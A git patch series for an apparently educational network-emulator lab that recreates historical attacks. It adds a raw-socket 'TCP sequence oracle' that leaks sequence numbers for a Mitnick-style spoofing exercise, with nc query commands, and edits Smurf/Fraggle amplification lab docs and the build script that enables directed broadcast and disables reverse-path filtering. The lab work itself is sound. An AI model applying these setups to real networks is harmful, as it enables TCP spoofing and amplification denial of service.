labs. + +## TCP Sequence Oracle + +```text +tcp_sequence_oracle.py +``` + +Run it on a host in the target network: + +```sh +sudo python3 tcp_sequence_oracle.py --iface net0 --port 9090 +``` + +The container needs raw-packet privileges, such as `CAP_NET_RAW` or privileged +mode, because the script uses a Linux `AF_PACKET` raw socket. + +The oracle records only TCP header metadata: + +- source and destination IP; +- source and destination port; +- TCP sequence number; +- TCP acknowledgement number; +- TCP flags; +- window size; +- payload length. + +It does not capture application payloads. + +## Query Examples + +Ask for a summary: + +```sh +printf 'summary' | nc -u -w1 10.150.0.80 9090 +``` + +Ask for recent packets involving a target: + +```sh +printf 'query src=10.150.0.71 dport=514 limit=3' | nc -u -w1 10.150.0.80 9090 +``` + +JSON queries are also supported: + +```sh +printf '{"command":"query","dst":"10.150.0.71","dport":514,"limit":5}' | \ + nc -u -w1 10.150.0.80 9090 +``` + +## Safety Boundaries + +- Designed for isolated emulator networks. +- Defaults to recording only traffic with source or destination matching `10.`. +- Defaults to answering only clients matching `10.`. +- Records TCP metadata only, not packet payloads. +- Does not change kernel TCP sequence generation. + +This helper is a bridge between historical attack mechanics and modern kernels: +students can observe or retrieve sequence-number information without weakening +the host kernel globally. diff --git a/examples/yesterday_once_more/Y12_mitnick_attack/tcp_sequence_oracle.py b/examples/yesterday_once_more/Y12_mitnick_attack/tcp_sequence_oracle.py new file mode 100644 index 000000000..efe1cc826 --- /dev/null +++ b/examples/yesterday_once_more/Y12_mitnick_attack/tcp_sequence_oracle.py @@ -0,0 +1,248 @@ +#!/usr/bin/env python3 +""" +Lab-only TCP sequence oracle for Mitnick-attack demonstrations. + +This helper runs on the target LAN inside an isolated emulator. It passively +sniffs TCP packet headers and exposes selected metadata through a UDP query +interface. It does not capture packet payloads. +""" + +from __future__ import annotations + +import argparse +import json +import socket +import struct +import threading +import time +from collections import deque +from typing import Deque, Dict, Iterable, Optional, Tuple + + +ETH_P_IP = 0x0800 +IPPROTO_TCP = 6 + + +def ipv4(raw: bytes) -> str: + return socket.inet_ntoa(raw) + + +def allowed(ip_address: str, prefixes: Iterable[str]) -> bool: + return any(ip_address.startswith(prefix) for prefix in prefixes) + + +def parse_tcp_packet(frame: bytes) -> Optional[Dict[str, object]]: + if len(frame) < 54: + return None + + eth_type = struct.unpack("!H", frame[12:14])[0] + if eth_type != ETH_P_IP: + return None + + ip_start = 14 + version_ihl = frame[ip_start] + version = version_ihl >> 4 + ihl = (version_ihl & 0x0F) * 4 + if version != 4 or len(frame) < ip_start + ihl + 20: + return None + + protocol = frame[ip_start + 9] + if protocol != IPPROTO_TCP: + return None + + total_length = struct.unpack("!H", frame[ip_start + 2 : ip_start + 4])[0] + source_ip = ipv4(frame[ip_start + 12 : ip_start + 16]) + destination_ip = ipv4(frame[ip_start + 16 : ip_start + 20]) + + tcp_start = ip_start + ihl + source_port, destination_port, sequence, acknowledgement, offset_flags, window = struct.unpack( + "!HHIIHH", + frame[tcp_start : tcp_start + 16], + ) + tcp_header_length = ((offset_flags >> 12) & 0x0F) * 4 + flags = offset_flags & 0x01FF + payload_length = max(total_length - ihl - tcp_header_length, 0) + + return { + "time": time.time(), + "src": source_ip, + "dst": destination_ip, + "sport": source_port, + "dport": destination_port, + "seq": sequence, + "ack": acknowledgement, + "flags": flags, + "flags_text": flags_to_text(flags), + "window": window, + "payload_len": payload_length, + } + + +def flags_to_text(flags: int) -> str: + names = [ + (0x100, "NS"), + (0x080, "CWR"), + (0x040, "ECE"), + (0x020, "URG"), + (0x010, "ACK"), + (0x008, "PSH"), + (0x004, "RST"), + (0x002, "SYN"), + (0x001, "FIN"), + ] + text = [name for bit, name in names if flags & bit] + return ",".join(text) if text else "NONE" + + +class PacketStore: + def __init__(self, max_packets: int): + self._packets: Deque[Dict[str, object]] = deque(maxlen=max_packets) + self._lock = threading.Lock() + + def add(self, packet: Dict[str, object]) -> None: + with self._lock: + self._packets.append(packet) + + def query( + self, + src: Optional[str] = None, + dst: Optional[str] = None, + sport: Optional[int] = None, + dport: Optional[int] = None, + limit: int = 5, + ) -> list[Dict[str, object]]: + with self._lock: + packets = list(self._packets) + + matches = [] + for packet in reversed(packets): + if src and packet["src"] != src: + continue + if dst and packet["dst"] != dst: + continue + if sport is not None and packet["sport"] != sport: + continue + if dport is not None and packet["dport"] != dport: + continue + matches.append(packet) + if len(matches) >= limit: + break + return matches + + def summary(self) -> Dict[str, object]: + with self._lock: + packets = list(self._packets) + return { + "stored_packets": len(packets), + "oldest_time": packets[0]["time"] if packets else None, + "newest_time": packets[-1]["time"] if packets else None, + } + + +def sniff_loop(store: PacketStore, iface: str, local_prefixes: list[str]) -> None: + sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_IP)) + if iface: + sock.bind((iface, 0)) + + while True: + frame, _ = sock.recvfrom(65535) + packet = parse_tcp_packet(frame) + if packet is None: + continue + if local_prefixes and not ( + allowed(str(packet["src"]), local_prefixes) or allowed(str(packet["dst"]), local_prefixes) + ): + continue + store.add(packet) + + +def parse_query(data: bytes) -> Tuple[str, Dict[str, object]]: + text = data.decode(errors="ignore").strip() + if not text: + return "summary", {} + + if text.startswith("{"): + obj = json.loads(text) + command = str(obj.pop("command", "query")) + return command, obj + + parts = text.split() + command = parts[0].lower() + params: Dict[str, object] = {} + for part in parts[1:]: + if "=" not in part: + continue + key, value = part.split("=", 1) + if key in {"sport", "dport", "limit"}: + params[key] = int(value) + else: + params[key] = value + return command, params + + +def udp_loop(store: PacketStore, args: argparse.Namespace) -> None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind((args.host, args.port)) + print(f"TCP sequence oracle listening on udp://{args.host}:{args.port}", flush=True) + + while True: + data, client = sock.recvfrom(4096) + client_ip = client[0] + if args.allowed_client_prefix and not allowed(client_ip, args.allowed_client_prefix): + continue + + try: + command, params = parse_query(data) + if command == "summary": + response = store.summary() + elif command == "query": + response = { + "packets": store.query( + src=params.get("src"), + dst=params.get("dst"), + sport=params.get("sport"), + dport=params.get("dport"), + limit=int(params.get("limit", args.default_limit)), + ) + } + else: + response = {"error": f"unknown command: {command}"} + except Exception as exc: + response = {"error": str(exc)} + + sock.sendto((json.dumps(response, indent=2, sort_keys=True) + "\n").encode(), client) + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run a lab-only TCP sequence oracle.") + parser.add_argument("--iface", default="", help="interface to sniff; empty means all") + parser.add_argument("--host", default="0.0.0.0", help="UDP server bind address") + parser.add_argument("--port", type=int, default=9090, help="UDP query port") + parser.add_argument("--max-packets", type=int, default=500) + parser.add_argument("--default-limit", type=int, default=5) + parser.add_argument( + "--local-prefix", + action="append", + default=["10."], + help="record packets with src or dst matching this prefix; repeatable", + ) + parser.add_argument( + "--allowed-client-prefix", + action="append", + default=["10."], + help="answer UDP clients matching this prefix; repeatable", + ) + return parser.parse_args() + + +def main() -> int: + args = parse_args() + store = PacketStore(max_packets=args.max_packets) + sniffer = threading.Thread(target=sniff_loop, args=(store, args.iface, args.local_prefix), daemon=True) + sniffer.start() + udp_loop(store, args) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From 9fa5da951efc941530a179cd4d29f203a1e1d2e3 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 09:36:19 +0800 Subject: [PATCH 06/33] Update README.md --- .../Y11_smurf_attack/README.md | 81 ++++++++----------- 1 file changed, 34 insertions(+), 47 deletions(-) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/README.md b/examples/yesterday_once_more/Y11_smurf_attack/README.md index e6fe35617..e3da6c018 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_attack/README.md @@ -1,12 +1,12 @@ # Y11: Smurf and Fraggle Attacks -This example recreates the core mechanism of the historical Smurf attack inside -a controlled SEED Emulator lab. It also includes the closely related Fraggle -attack, which uses UDP broadcast replies instead of ICMP echo replies. +This example recreates the core mechanism of the historical Smurf attack and Fraggle attack +inside a controlled SEED Emulator lab. They both use direct broadcast to launch denial-of-service +attacks. Smurf uses ICMP while Fraggle uses UDP. The example uses the mini-Internet topology from `examples/internet/B00_mini_internet`. It then turns AS152 into a vulnerable -directed-broadcast network with many hosts. The attacker sends ICMP echo +directed-broadcast network with many hosts. In the Smurf attack, the attacker sends ICMP echo requests to AS152's directed broadcast address while spoofing the victim's source IP address. Hosts on the AS152 LAN respond to the victim, amplifying the attacker's traffic. @@ -16,39 +16,21 @@ the attacker sends spoofed UDP packets to the AS152 directed broadcast address. Each AS152 host runs a bounded UDP chargen-like lab daemon and sends a UDP reply to the spoofed victim address. + ## Roles -- AS150 `host_0`: attacker. -- AS151 `host_0`: victim. +- Attacker: AS150 `host_0`. +- Victim: AS151 `host_0`. The default victim's address is: `10.151.0.71` - AS152 `router0`: vulnerable router with directed broadcast forwarding enabled. - AS152 `host_0` ... `host_N`: amplifier hosts that respond to broadcast pings and run the UDP Fraggle amplifier daemon. -The default directed broadcast address is: +- The default directed broadcast address is `10.152.0.255` +- The default Fraggle UDP service port is `19` +- The default victim-side UDP reply port is `7000` -```text -10.152.0.255 -``` -The default spoofed victim address is: - -```text -10.151.0.71 -``` - -The default Fraggle UDP service port is: - -```text -19 -``` - -The default victim-side UDP reply port is: - -```text -7000 -``` - -## How The Attack Is Enabled +## How The Smurf Attack Is Enabled A Smurf attack needs three technical conditions. Modern networks usually break at least one of them; this example deliberately enables all three inside the @@ -61,12 +43,12 @@ source address. In this example, AS150 runs: /opt/smurf-lab/smurf_attack.py ``` -This script opens a raw socket and builds an IPv4 packet manually. The packet's +This script opens a raw socket and builds a packet manually. The packet's source address is set to the victim, `10.151.0.71`, while the destination is the AS152 directed broadcast address, `10.152.0.255`. Second, the router for the target LAN must forward directed broadcast packets. -Normally, routers no longer do this. Y11 enables it on AS152 `router0` using: +Normally, routers no longer do this. We enables it on AS152 `router0` using: ```sh sysctl -w net.ipv4.ip_forward=1 @@ -85,7 +67,7 @@ This makes AS152 `router0` forward a packet addressed to `10.152.0.255` onto the AS152 LAN as a broadcast. Third, hosts on the target LAN must answer broadcast ICMP echo requests. -Modern Linux hosts normally ignore these requests. Y11 changes this behavior on +Modern Linux hosts normally ignore these requests. We change this behavior on the AS152 amplifier hosts with: ```sh @@ -96,7 +78,19 @@ For Smurf, when the spoofed packet reaches the AS152 LAN, many AS152 hosts recei same broadcast echo request. Each host sends an ICMP echo reply to the spoofed source address, so the replies go to AS151 `host_0`, the victim. -For Fraggle, each AS152 host also runs: + +On the victim, we run the following program to count ICMP echo replies from the AS152 prefix. + +```text +/opt/smurf-lab/smurf_monitor.py +``` + + +## How The Fraggle Attack Is Enabled + +The Fraggle attack also depends on the directed broadcast, which is already enabled +on AS152 `router0. We also run the following UDP daemon on each AS152 hosts: + ```text /opt/smurf-lab/fraggle_amplifier.py @@ -111,31 +105,23 @@ The amplification factor depends mainly on the number of AS152 hosts. If `--target-hosts 30` is used, one spoofed broadcast request can produce replies from many of those 30 hosts. -The runtime test uses: - -```text -/opt/smurf-lab/smurf_monitor.py -``` - -on the victim to count ICMP echo replies from the AS152 prefix. - -It also uses: +On the victim, we run the following program count UDP replies sent by the Fraggle amplifier hosts. ```text /opt/smurf-lab/fraggle_monitor.py ``` -to count UDP replies sent by the Fraggle amplifier hosts. + ## Visualizing The Attack -The best way to see the amplification effect is from the victim's point of view. Y11 -installs a live dashboard on AS151 `host_0`: +The best way to see the amplification effect is from the victim's point of view. We have installed a live dashboard on AS151 `host_0`: ```text /opt/smurf-lab/visualize_attack.py ``` + Start the dashboard on the victim first: ```sh @@ -189,18 +175,19 @@ Internet Map is still useful for seeing packets move through the topology, but the victim dashboard makes the key lesson clearer: a small number of spoofed requests can cause many hosts to send replies to the victim. + ## Build From the repository root: ```sh -python examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py --platform amd +python examples/yesterday_once_more/Y11_smurf_attack/emulator.py --platform amd ``` To change the number of amplifier hosts on the AS152 LAN: ```sh -python examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py \ +python examples/yesterday_once_more/Y11_smurf_attack/emualtor.py \ --platform amd \ --target-hosts 30 ``` From bd9c8810cd1ce7dbadfaaada9809c793d8ee998b Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 10:13:03 +0800 Subject: [PATCH 07/33] Update README.md --- examples/yesterday_once_more/Y11_smurf_attack/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/README.md b/examples/yesterday_once_more/Y11_smurf_attack/README.md index e3da6c018..dd316d2a5 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_attack/README.md @@ -198,6 +198,7 @@ The generated Docker files are placed in: examples/yesterday_once_more/Y11_smurf_attack/output ``` + ## Manual Attack Trigger After starting the emulator, run the attack trigger from AS150: From 20bcc543d7a906c4f479a3ad7b4816897db5e300 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 10:14:38 +0800 Subject: [PATCH 08/33] Renamed the folder --- .../{Y11_smurf_attack => Y11_smurf_fraggle_attack}/README.md | 0 .../{Y11_smurf_attack => Y11_smurf_fraggle_attack}/example.yaml | 0 .../fraggle_amplifier.py | 0 .../fraggle_attack.py | 0 .../fraggle_monitor.py | 0 .../smurf_attack.py | 0 .../smurf_attack_example.py | 0 .../smurf_monitor.py | 0 .../test_runtime.py | 0 .../trigger_attack.sh | 0 .../visualize_attack.py | 0 11 files changed, 0 insertions(+), 0 deletions(-) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/README.md (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/example.yaml (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/fraggle_amplifier.py (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/fraggle_attack.py (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/fraggle_monitor.py (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/smurf_attack.py (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/smurf_attack_example.py (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/smurf_monitor.py (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/test_runtime.py (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/trigger_attack.sh (100%) rename examples/yesterday_once_more/{Y11_smurf_attack => Y11_smurf_fraggle_attack}/visualize_attack.py (100%) diff --git a/examples/yesterday_once_more/Y11_smurf_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/README.md rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md diff --git a/examples/yesterday_once_more/Y11_smurf_attack/example.yaml b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/example.yaml similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/example.yaml rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/example.yaml diff --git a/examples/yesterday_once_more/Y11_smurf_attack/fraggle_amplifier.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_amplifier.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/fraggle_amplifier.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_amplifier.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/fraggle_attack.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_attack.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/fraggle_attack.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_attack.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/fraggle_monitor.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_monitor.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/fraggle_monitor.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/fraggle_monitor.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/smurf_attack.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack_example.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack_example.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_monitor.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_monitor.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/smurf_monitor.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_monitor.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/test_runtime.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/trigger_attack.sh similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/trigger_attack.sh rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/trigger_attack.sh diff --git a/examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/visualize_attack.py similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/visualize_attack.py rename to examples/yesterday_once_more/Y11_smurf_fraggle_attack/visualize_attack.py From 43e2016abc6efbc0bf9e213168f32f0c75d46b9b Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 10:17:36 +0800 Subject: [PATCH 09/33] changes name --- .../Y11_smurf_attack/{smurf_attack_example.py => emulator.py} | 0 examples/yesterday_once_more/Y11_smurf_attack/example.yaml | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) rename examples/yesterday_once_more/Y11_smurf_attack/{smurf_attack_example.py => emulator.py} (100%) mode change 100644 => 100755 diff --git a/examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py b/examples/yesterday_once_more/Y11_smurf_attack/emulator.py old mode 100644 new mode 100755 similarity index 100% rename from examples/yesterday_once_more/Y11_smurf_attack/smurf_attack_example.py rename to examples/yesterday_once_more/Y11_smurf_attack/emulator.py diff --git a/examples/yesterday_once_more/Y11_smurf_attack/example.yaml b/examples/yesterday_once_more/Y11_smurf_attack/example.yaml index bf26f77f9..a83ced2dc 100644 --- a/examples/yesterday_once_more/Y11_smurf_attack/example.yaml +++ b/examples/yesterday_once_more/Y11_smurf_attack/example.yaml @@ -2,7 +2,7 @@ id: yesterday-y11-smurf-attack name: Smurf and Fraggle Attacks description: B00 mini-Internet topology with a vulnerable directed-broadcast LAN for ICMP and UDP amplification. runner: internet -script: smurf_attack_example.py +script: emulator.py platform: amd features: - mini-internet From aa7cfa817f87409a150cb3eb62d9f2d95c46b391 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 10:24:44 +0800 Subject: [PATCH 10/33] renamed emulator --- examples/yesterday_once_more/README.md | 2 +- .../smurf_attack_example.py | 200 ------------------ 2 files changed, 1 insertion(+), 201 deletions(-) delete mode 100755 examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack_example.py diff --git a/examples/yesterday_once_more/README.md b/examples/yesterday_once_more/README.md index bc028c034..38913084b 100644 --- a/examples/yesterday_once_more/README.md +++ b/examples/yesterday_once_more/README.md @@ -8,5 +8,5 @@ We recreate some of the notorious Internet attacks and incidents: - Y04_wannacry - Y05_sql_slammer - Y10_ntp_amplification -- Y11_smurf_attack +- Y11_smurf_fraggle_attack - Y12_mitnick_attack diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack_example.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack_example.py deleted file mode 100755 index 7eaa5e027..000000000 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/smurf_attack_example.py +++ /dev/null @@ -1,200 +0,0 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from __future__ import annotations - -import argparse -from pathlib import Path -import sys - - -SCRIPT_DIR = Path(__file__).resolve().parent -REPO_ROOT = SCRIPT_DIR.parents[2] -B00_DIR = REPO_ROOT / "examples" / "internet" / "B00_mini_internet" - -for path in [REPO_ROOT, B00_DIR]: - if str(path) not in sys.path: - sys.path.insert(0, str(path)) - -from mini_internet import build_emulator -from seedemu.compiler import Docker, Platform -from seedemu.core import Emulator, Node - - -ATTACKER_HOST = (150, "host_0") -VICTIM_HOST = (151, "host_0") -TARGET_ASN = 152 -TARGET_ROUTER = "router0" -TARGET_NETWORK = "net0" -SMURF_DIR = "/opt/smurf-lab" -FRAGGLE_PORT = 19 - - -def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Build the Y11 Smurf attack example.") - parser.add_argument("legacy_platform", nargs="?", choices=["amd", "arm"]) - parser.add_argument("--platform", choices=["amd", "arm"]) - parser.add_argument("--output", default=str(SCRIPT_DIR / "output")) - parser.add_argument("--dumpfile") - parser.add_argument("--hosts-per-as", type=int, default=2) - parser.add_argument( - "--target-hosts", - type=int, - default=12, - help="number of hosts on the vulnerable AS152 broadcast LAN", - ) - parser.add_argument("--override", dest="override", action="store_true", default=True) - parser.add_argument("--no-override", dest="override", action="store_false") - parser.add_argument("--skip-render", dest="render", action="store_false", default=True) - args = parser.parse_args() - args.platform = args.platform or args.legacy_platform or "amd" - return args - - -def resolve_platform(name: str) -> Platform: - return Platform.AMD64 if name == "amd" else Platform.ARM64 - - -def get_base(emu: Emulator): - return emu.getLayer("Base") - - -def get_host(emu: Emulator, asn: int, name: str) -> Node: - return get_base(emu).getAutonomousSystem(asn).getHost(name) - - -def get_router(emu: Emulator, asn: int, name: str) -> Node: - return get_base(emu).getAutonomousSystem(asn).getRouter(name) - - -def install_file(node: Node, local_name: str, remote_name: str) -> None: - content = (SCRIPT_DIR / local_name).read_text(encoding="utf-8") - node.setFile(f"{SMURF_DIR}/{remote_name}", content) - - -def prepare_smurf_dir(node: Node) -> None: - node.addBuildCommand(f"mkdir -p {SMURF_DIR}") - node.appendStartCommand(f"mkdir -p {SMURF_DIR}") - - -def add_target_hosts(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: - target_as = get_base(emu).getAutonomousSystem(TARGET_ASN) - existing = max(hosts_per_as, 0) - for index in range(existing, target_hosts): - target_as.createHost(f"host_{index}").joinNetwork(TARGET_NETWORK) - - -def configure_directed_broadcast_router(router: Node) -> None: - router.appendStartCommand("sysctl -w net.ipv4.ip_forward=1") - router.appendStartCommand("sysctl -w net.ipv4.conf.all.bc_forwarding=1 || true") - router.appendStartCommand("sysctl -w net.ipv4.conf.default.bc_forwarding=1 || true") - router.appendStartCommand( - "for f in /proc/sys/net/ipv4/conf/*/bc_forwarding; do [ -e \"$f\" ] && echo 1 > \"$f\"; done" - ) - router.appendStartCommand("sysctl -w net.ipv4.conf.all.rp_filter=0") - router.appendStartCommand("sysctl -w net.ipv4.conf.default.rp_filter=0") - router.appendClassName("SmurfDirectedBroadcastRouter") - - -def configure_target_host(host: Node) -> None: - host.addSoftware("python3") - prepare_smurf_dir(host) - install_file(host, "fraggle_amplifier.py", "fraggle_amplifier.py") - host.appendStartCommand("sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0") - host.appendStartCommand("sysctl -w net.ipv4.conf.all.rp_filter=0") - host.appendStartCommand("sysctl -w net.ipv4.conf.default.rp_filter=0") - host.appendStartCommand(f"chmod +x {SMURF_DIR}/fraggle_amplifier.py") - host.appendStartCommand( - "python3 {}/fraggle_amplifier.py --port {} --mode chargen --response-size 512 " - ">> /var/log/fraggle-amplifier-supervisor.log 2>&1".format(SMURF_DIR, FRAGGLE_PORT), - fork=True, - ) - host.appendClassName("SmurfAmplifierHost") - host.appendClassName("FraggleAmplifierHost") - - -def configure_attacker(host: Node) -> None: - host.addSoftware("python3") - prepare_smurf_dir(host) - install_file(host, "smurf_attack.py", "smurf_attack.py") - install_file(host, "fraggle_attack.py", "fraggle_attack.py") - install_file(host, "trigger_attack.sh", "trigger_attack.sh") - host.appendStartCommand( - f"chmod +x {SMURF_DIR}/smurf_attack.py {SMURF_DIR}/fraggle_attack.py {SMURF_DIR}/trigger_attack.sh" - ) - host.appendClassName("SmurfAttacker") - host.appendClassName("FraggleAttacker") - - -def configure_victim(host: Node) -> None: - host.addSoftware("python3") - prepare_smurf_dir(host) - install_file(host, "smurf_monitor.py", "smurf_monitor.py") - install_file(host, "fraggle_monitor.py", "fraggle_monitor.py") - install_file(host, "visualize_attack.py", "visualize_attack.py") - host.appendStartCommand( - f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/fraggle_monitor.py {SMURF_DIR}/visualize_attack.py" - ) - host.appendClassName("SmurfVictim") - host.appendClassName("FraggleVictim") - - -def customize_b00_for_smurf(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: - if target_hosts < hosts_per_as: - raise ValueError("--target-hosts must be greater than or equal to --hosts-per-as") - - add_target_hosts(emu, target_hosts=target_hosts, hosts_per_as=hosts_per_as) - configure_directed_broadcast_router(get_router(emu, TARGET_ASN, TARGET_ROUTER)) - configure_attacker(get_host(emu, *ATTACKER_HOST)) - configure_victim(get_host(emu, *VICTIM_HOST)) - - target_as = get_base(emu).getAutonomousSystem(TARGET_ASN) - for index in range(target_hosts): - configure_target_host(target_as.getHost(f"host_{index}")) - - -def build_y11_emulator(hosts_per_as: int, target_hosts: int) -> Emulator: - emu = build_emulator(hosts_per_as=hosts_per_as) - customize_b00_for_smurf(emu, target_hosts=target_hosts, hosts_per_as=hosts_per_as) - return emu - - -def run( - dumpfile=None, - hosts_per_as=2, - target_hosts=12, - output=None, - platform=Platform.AMD64, - override=True, - render=True, -) -> None: - emu = build_y11_emulator(hosts_per_as=hosts_per_as, target_hosts=target_hosts) - if dumpfile is not None: - emu.dump(dumpfile) - return - - if render: - emu.render() - - docker = Docker(platform=platform) - emu.compile(docker, output or "./output", override=override) - - -def main() -> int: - args = parse_args() - output_dir = Path(args.output).resolve() - output_dir.parent.mkdir(parents=True, exist_ok=True) - run( - dumpfile=args.dumpfile, - hosts_per_as=args.hosts_per_as, - target_hosts=args.target_hosts, - output=str(output_dir), - platform=resolve_platform(args.platform), - override=args.override, - render=args.render, - ) - return 0 - - -if __name__ == "__main__": - raise SystemExit(main()) From 981372de322797d03cbcb87631e2283294b9badd Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 14:25:44 +0800 Subject: [PATCH 11/33] added displayname --- .../yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index 7eaa5e027..313eebe96 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -94,6 +94,7 @@ def configure_directed_broadcast_router(router: Node) -> None: router.appendStartCommand("sysctl -w net.ipv4.conf.all.rp_filter=0") router.appendStartCommand("sysctl -w net.ipv4.conf.default.rp_filter=0") router.appendClassName("SmurfDirectedBroadcastRouter") + router.setDisplayName("Directed-Broadcast-Router") def configure_target_host(host: Node) -> None: @@ -124,6 +125,7 @@ def configure_attacker(host: Node) -> None: ) host.appendClassName("SmurfAttacker") host.appendClassName("FraggleAttacker") + host.setDisplayName("Attacker") def configure_victim(host: Node) -> None: @@ -137,6 +139,7 @@ def configure_victim(host: Node) -> None: ) host.appendClassName("SmurfVictim") host.appendClassName("FraggleVictim") + host.setDisplayName("Victim") def customize_b00_for_smurf(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: From 9018ab9ea02e92749ae0cb0dd3febf5d70925cc7 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 14:49:55 +0800 Subject: [PATCH 12/33] added visualizer --- .../Y11_smurf_fraggle_attack/README.md | 49 ++---- .../Y11_smurf_fraggle_attack/emulator.py | 24 ++- .../traffic_visualizer/config.json | 6 + .../traffic_visualizer/dashboard.html | 66 +++++++ .../traffic_visualizer/traffic_visualizer.py | 161 ++++++++++++++++++ 5 files changed, 269 insertions(+), 37 deletions(-) create mode 100644 examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/config.json create mode 100644 examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html create mode 100644 examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/traffic_visualizer.py diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index dd316d2a5..d99f67cac 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ 